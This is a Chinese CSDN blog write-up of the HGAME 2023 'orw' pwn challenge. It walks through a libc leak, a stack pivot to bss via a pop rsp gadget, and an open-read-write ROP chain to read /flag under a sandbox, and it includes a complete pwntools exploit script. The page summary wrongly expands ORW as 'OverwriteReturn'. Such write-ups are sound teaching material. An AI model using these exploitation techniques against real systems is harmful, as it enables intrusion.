【PWN · ORW | 栈迁移 | ROP】[HGAME 2023 week1]orw

本文讲述了在具有沙箱限制的栈溢出环境中,如何通过泄露并利用libc库的gadgets实现ORW(OverwriteReturn)技术,包括泄露libc地址、构造ROP链以及将栈迁移至BSS段的过程,最终实现程序控制并交互式获取flag。
摘要由CSDN通过智能技术生成

这题有些许复杂,但也并没有


前言

ROP的ORW还是第一次做,之前接触到的都是shellcode形式的

利用libc的gadget是个很好的思路,能获得大量有益的gadget


一、题目

 栈溢出但是沙箱,需要orw

 但是溢出长度仅有0x30——需要栈迁移


二、思路

  1. 泄露libc,经典地puts(puts)即可,并且返回到vuln重新触发漏洞
  2. 第二次栈溢出,构造read,利用其将ROP链写到bss段
  3. 写ROP链——open、read、write
  4. 将栈迁移到bss对应位置,这里没有用leave,而是用libc的丰富gadget——pop rsp

三、EXP

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')

# libc-gadgets
# 0x0000000000023b6a : pop rdi ; ret
# 0x000000000002601f : pop rsi ; ret
# 0x0000000000142c92 : pop rdx ; ret
# 0x000000000002f70a : pop rsp ; ret
# elf-gadgets
# 0x0000000000401393 : pop rdi ; ret

vuln=0x04012C0
rdi=0x401393
# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28012)
elf=ELF('./pwn')
libc=ELF('./libc-2.31.so')
# gdb.attach(io)
# input()

### leak_libc
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
payload=b'a'*0x108+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendlineafter(b'task.\n',payload)
puts_real=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts_real:'+hex(puts_real))
libc_base=puts_real-libc.sym['puts']
success('libc_base:'+hex(libc_base))

### read_bss
bss_base=elf.bss()
# read(int fd, void *buf, size_t count);
read_real=libc_base+libc.sym['read']
fd=0
buf=bss_base+0x100
count=0x200
rdi=libc_base+0x23b6a
rsi=libc_base+0x2601f
rdx=libc_base+0x142c92
rsp=libc_base+0x2f70a
# payload=b'a'*0x108+p64(rdi)+p64(fd)+p64(rsi)+p64(buf)+p64(rdx)+p64(count)+p64(read_real)+p64(rsp)+p64(buf+8) 
# 利用到这个阶段时,寄存器残留值,可以减少payload的长度,刚好在这里用满了溢出的0x30字节
# p64(rsp)+p64(buf+8),修改rsp的值,+8是因为头部放了flag\x00
payload=b'a'*0x108+p64(rsi)+p64(buf)+p64(read_real)+p64(rsp)+p64(buf+8)
io.send(payload)

### rop->bss
payload=b'/flag'.ljust(8,b'\x00')
# open(const char *pathname, int flags)
open_real=libc_base+libc.sym['open']
pathname_ptr=buf
flags=0
payload+=p64(rdi)+p64(pathname_ptr)+p64(rsi)+p64(flags)+p64(open_real)
# read(int fd, void *buf, size_t count);
fd=3
buf2=buf+0x300
count=0x100
payload+=p64(rdi)+p64(fd)+p64(rsi)+p64(buf2)+p64(rdx)+p64(count)+p64(read_real)
# write(int handle,void* buf,int length)
write_real=libc_base+libc.sym['write']
handle=1
buf3=buf2
length=0x50
payload+=p64(rdi)+p64(handle)+p64(rsi)+p64(buf3)+p64(rdx)+p64(length)+p64(write_real)+p64(vuln)
# payload+=p64(rsi)+p64(buf3)+p64(rdx)+p64(length)+p64(write_real)+p64(vuln)
io.send(payload)

sleep(1)
io.recv()
io.interactive()
  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值